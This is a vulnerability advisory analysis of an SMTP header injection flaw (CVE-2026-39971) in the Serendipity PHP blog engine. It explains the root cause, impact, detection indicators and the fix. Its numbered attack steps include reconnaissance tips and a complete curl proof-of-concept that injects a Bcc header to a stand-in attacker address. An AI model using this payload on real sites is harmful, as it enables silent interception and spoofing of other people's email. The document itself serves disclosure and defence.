CVE-2026-39971: 
PHP vulnerability analysis and mitigation

CVE-2026-39971 is an SMTP header injection vulnerability in the Serendipity PHP weblog engine caused by unvalidated use of the HTTP Host header in outgoing email construction. Affecting all versions up to and including 2.6-beta2, the flaw was reported by researcher Marcelo Barbosa (@mabjr33), disclosed via GitHub Security Advisory on April 13, 2026, and published to the NVD on April 15, 2026. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Serendipity Advisory).

The root cause is CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers). In include/functions.inc.php at line 548, the application constructs the SMTP Message-ID header by directly concatenating $_SERVER['HTTP_HOST'] without sanitization: $maildata['headers'][] = 'Message-ID: <' . bin2hex(random_bytes(16)) . '@' . $_SERVER['HTTP_HOST'] . '>';. Although a sanitization function serendipity_isResponseClean() exists and strips \r\n and URL-encoded variants, it is never called on HTTP_HOST before this embedding, leaving the application exploitable via any SMTP-interpreted header delimiter character. An unauthenticated attacker simply crafts an HTTP request with a malicious Host header value to any email-triggering endpoint (comment submission, subscription, password reset), requiring no privileges or user interaction (Serendipity Advisory, GitHub Advisory).

Successful exploitation allows an unauthenticated attacker to inject arbitrary SMTP headers into all outgoing emails generated by Serendipity, including comment notifications, subscription emails, and password reset messages. Concrete consequences include identity spoofing (emails appearing to originate from an attacker-controlled domain), reply hijacking (mail clients using the manipulated Message-ID for threading route replies to attacker infrastructure), BCC injection enabling silent copying of emails to arbitrary recipients, and email reputation abuse by embedding the attacker's domain in legitimate mail headers. There is no direct availability impact, but confidentiality and integrity of email communications are compromised (Serendipity Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, consisting of a concrete curl command that demonstrates the full injection attack sequence against a live Serendipity deployment. No authentication or special privileges are required, and attack complexity is low. There is no current evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.064% (0.000290 per Feedly), placing it in the 20th percentile for exploitation likelihood (GitHub Advisory, Serendipity Advisory).

1. Reconnaissance: Identify internet-facing Serendipity blog installations running versions prior to 2.6.0 (e.g., via Shodan, Censys, or Google dorking for Serendipity-specific page elements).
2. Identify email-triggering endpoint: Target an endpoint that causes Serendipity to send an email, such as comment.php for comment submission, which triggers a notification email to the blog owner.
3. Craft malicious Host header: Construct an HTTP Host header containing the attacker's domain followed by CRLF sequences and injected SMTP headers, e.g., Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:.
4. Send the crafted request: Submit a POST request to the target endpoint with the malicious header and valid comment body parameters:

curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

5. Achieve injection: The server embeds the unsanitized HTTP_HOST value into the Message-ID SMTP header, resulting in injected headers (e.g., Bcc: victim@evil.com) being included in the outgoing email, silently copying it to the attacker-controlled address or manipulating email threading (Serendipity Advisory).

• Network: Incoming HTTP POST requests to comment.php or other email-triggering endpoints with anomalous Host header values containing special characters such as >, \r, \n, or additional header-like strings (e.g., Bcc:, Cc:, X- prefixes).
• Logs: Web server access logs showing POST requests to comment.php with Host header values that differ from the legitimate server hostname or contain encoded CRLF sequences (%0D%0A, %0A, %0D).
• Email Headers: Outgoing emails from the Serendipity installation with Message-ID headers containing unexpected domain portions, additional injected headers (e.g., Bcc:, X-Injected:), or domains not matching the legitimate server hostname.
• Mail Server Logs: SMTP transaction logs showing unexpected recipients (BCC targets) or malformed Message-ID values in emails originating from the Serendipity mail sender account (Serendipity Advisory).

The vulnerability is fixed in Serendipity version 2.6.0, released April 10, 2026; all users should upgrade immediately (Serendipity Release). The recommended code-level fix is to sanitize HTTP_HOST before embedding it in mail headers by stripping all characters outside [a-zA-Z0-9.\-] using preg_replace and parse_url. As a temporary workaround for installations that cannot immediately upgrade, configure the web server (Apache/Nginx) to enforce a strict Host header allowlist, rejecting requests with unexpected or malformed Host values before they reach the PHP application. Installations hosted on shared hosting platforms (e.g., uberspace, manitu) where arbitrary Host headers are not forwarded are reported to be unaffected (Serendipity Advisory, GitHub Advisory).

The Serendipity maintainer team acknowledged the report by researcher Marcelo Barbosa (@mabjr33) in the 2.6.0 release notes, noting that two host header attack vectors were reported and that the release constitutes a security fix. The maintainers noted that standard shared hosting configurations are likely unaffected but recommended timely upgrades for self-hosted deployments (Serendipity Release). No significant broader media coverage or notable security community commentary beyond the advisory itself has been identified.